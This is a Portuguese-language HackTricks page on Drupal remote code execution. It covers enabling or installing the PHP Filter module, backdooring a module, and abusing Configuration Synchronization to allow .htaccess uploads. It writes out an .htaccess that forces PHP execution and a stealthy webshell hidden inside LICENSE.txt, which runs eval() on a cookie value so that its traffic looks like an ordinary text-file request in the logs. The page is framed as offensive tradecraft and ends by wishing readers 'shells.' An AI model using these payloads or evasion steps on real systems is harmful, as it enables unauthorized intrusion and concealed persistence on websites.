12 KiB
Drupal RCE
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.
Com o Módulo PHP Filter
{% hint style="warning" %}
Em versões mais antigas do Drupal (antes da versão 8), era possível fazer login como administrador e ativar o módulo PHP filter
, que "Permite que códigos/snippets PHP incorporados sejam avaliados." Mas a partir da versão 8, este módulo não é instalado por padrão.
{% endhint %}
- Vá para /modules/php e se um erro 403 for retornado, então o plugin PHP filter está instalado e você pode continuar
- Se não, vá para
Modules
e marque a caixa dePHP Filter
e depois emSave configuration
- Então, para explorá-lo, clique em
Add content
, selecioneBasic Page
ouArticle
e escreva a backdoor PHP, depois selecionePHP
como formato de texto e finalmente selecionePreview
- Para acioná-lo, basta acessar o nó recém-criado:
curl http://drupal.local/node/3
Instalar o Módulo PHP Filter
{% hint style="warning" %} Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão. {% endhint %}
A partir da versão 8, o PHP Filter não é instalado por padrão. Para aproveitar essa funcionalidade, teríamos que instalar o módulo nós mesmos.
- Baixe a versão mais recente do módulo no site do Drupal.
wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
- Após o download, vá para
Administração
>Relatórios
>Atualizações disponíveis
. - Clique em
Procurar
, selecione o arquivo do diretório para o qual o baixamos e clique emInstalar
. - Uma vez que o módulo esteja instalado, podemos clicar em
Conteúdo
e criar uma nova página básica, semelhante ao que fizemos no exemplo do Drupal 7. Novamente, certifique-se de selecionarCódigo PHP
no menu suspensoFormato de texto
.
Módulo com Backdoor
{% hint style="warning" %} Nas versões atuais, não é mais possível instalar plugins apenas tendo acesso à web após a instalação padrão. {% endhint %}
Era possível baixar um módulo, adicionar um backdoor a ele e instalá-lo. Por exemplo, baixando o módulo Trurnstile em formato comprimido, criando um novo arquivo de backdoor PHP dentro dele, permitindo o acesso ao arquivo PHP com um arquivo .htaccess
:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
E então indo para http://drupal.local/admin/modules/install
para instalar o módulo com backdoor e acessar /modules/turnstile/back.php
para executá-lo.
Backdooring Drupal com Sincronização de Configuração
Post compartilhado por Coiffeur0x90
Parte 1 (ativação de Media e Media Library)
No menu Extend (/admin/modules), você pode ativar o que parecem ser plugins já instalados. Por padrão, os plugins Media e Media Library não parecem estar ativados, então vamos ativá-los.
Antes da ativação:
Após a ativação:
Parte 2 (aproveitando o recurso Sincronização de Configuração)
Vamos aproveitar o recurso Sincronização de Configuração para despejar (exportar) e fazer upload (importar) entradas de configuração do Drupal:
- /admin/config/development/configuration/single/export
- /admin/config/development/configuration/single/import
Patch system.file.yml
Vamos começar patchando a primeira entrada allow_insecure_uploads
de:
Arquivo: system.file.yml
...
allow_insecure_uploads: false
...
Para:
Arquivo: system.file.yml
...
allow_insecure_uploads: true
...
Patch field.field.media.document.field_media_document.yml
Em seguida, aplique o patch na segunda entrada file_extensions
de:
Arquivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Para:
Arquivo: field.field.media.document.field_media_document.yml
...
file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
...
Eu não uso isso neste post do blog, mas é importante notar que é possível definir a entrada
file_directory
de maneira arbitrária e que é vulnerável a um ataque de traversal de caminho (então podemos voltar dentro da árvore do sistema de arquivos do Drupal).
Parte 3 (aproveitando o recurso Adicionar Documento)
A última etapa é a mais simples e é dividida em dois subpassos. O primeiro é fazer o upload de um arquivo no formato .htaccess para aproveitar as diretivas do Apache e permitir que arquivos .txt sejam interpretados pelo motor PHP. O segundo é fazer o upload de um arquivo .txt contendo nosso payload.
Arquivo: .htaccess
<Files *>
SetHandler application/x-httpd-php
</Files>
# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>
Por que esse truque é legal?
Porque uma vez que o Webshell (que chamaremos de LICENSE.txt) é colocado no servidor Web, podemos transmitir nossos comandos via $_COOKIE
e nos logs do servidor Web, isso aparecerá como uma solicitação GET legítima para um arquivo de texto.
Por que nomear nosso Webshell LICENSE.txt?
Simplesmente porque se pegarmos o seguinte arquivo, por exemplo core/LICENSE.txt (que já está presente no núcleo do Drupal), temos um arquivo de 339 linhas e 17,6 KB de tamanho, que é perfeito para adicionar um pequeno trecho de código PHP no meio (já que o arquivo é grande o suficiente).
Arquivo: LICENSE.txt corrigido
...
this License, you may choose any version ever published by the Free Software
Foundation.
<?php
# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}
?>
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
...
Parte 3.1 (upload arquivo .htaccess)
Primeiro, aproveitamos o recurso Adicionar Documento (/media/add/document) para fazer o upload do nosso arquivo contendo as diretivas do Apache (.htaccess).
Parte 3.2 (upload arquivo LICENSE.txt)
Em seguida, aproveitamos novamente o recurso Adicionar Documento (/media/add/document) para fazer o upload de um Webshell oculto dentro de um arquivo de licença.
Parte 4 (interação com o Webshell)
A última parte consiste em interagir com o Webshell.
Como mostrado na captura de tela a seguir, se o cookie esperado pelo nosso Webshell não estiver definido, obtemos o resultado subsequente ao consultar o arquivo via um navegador Web.
Quando o atacante define o cookie, ele pode interagir com o Webshell e executar quaisquer comandos que desejar.
E como você pode ver nos logs, parece que apenas um arquivo txt foi solicitado.
Obrigado por dedicar seu tempo para ler este artigo, espero que ele ajude você a obter alguns shells.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.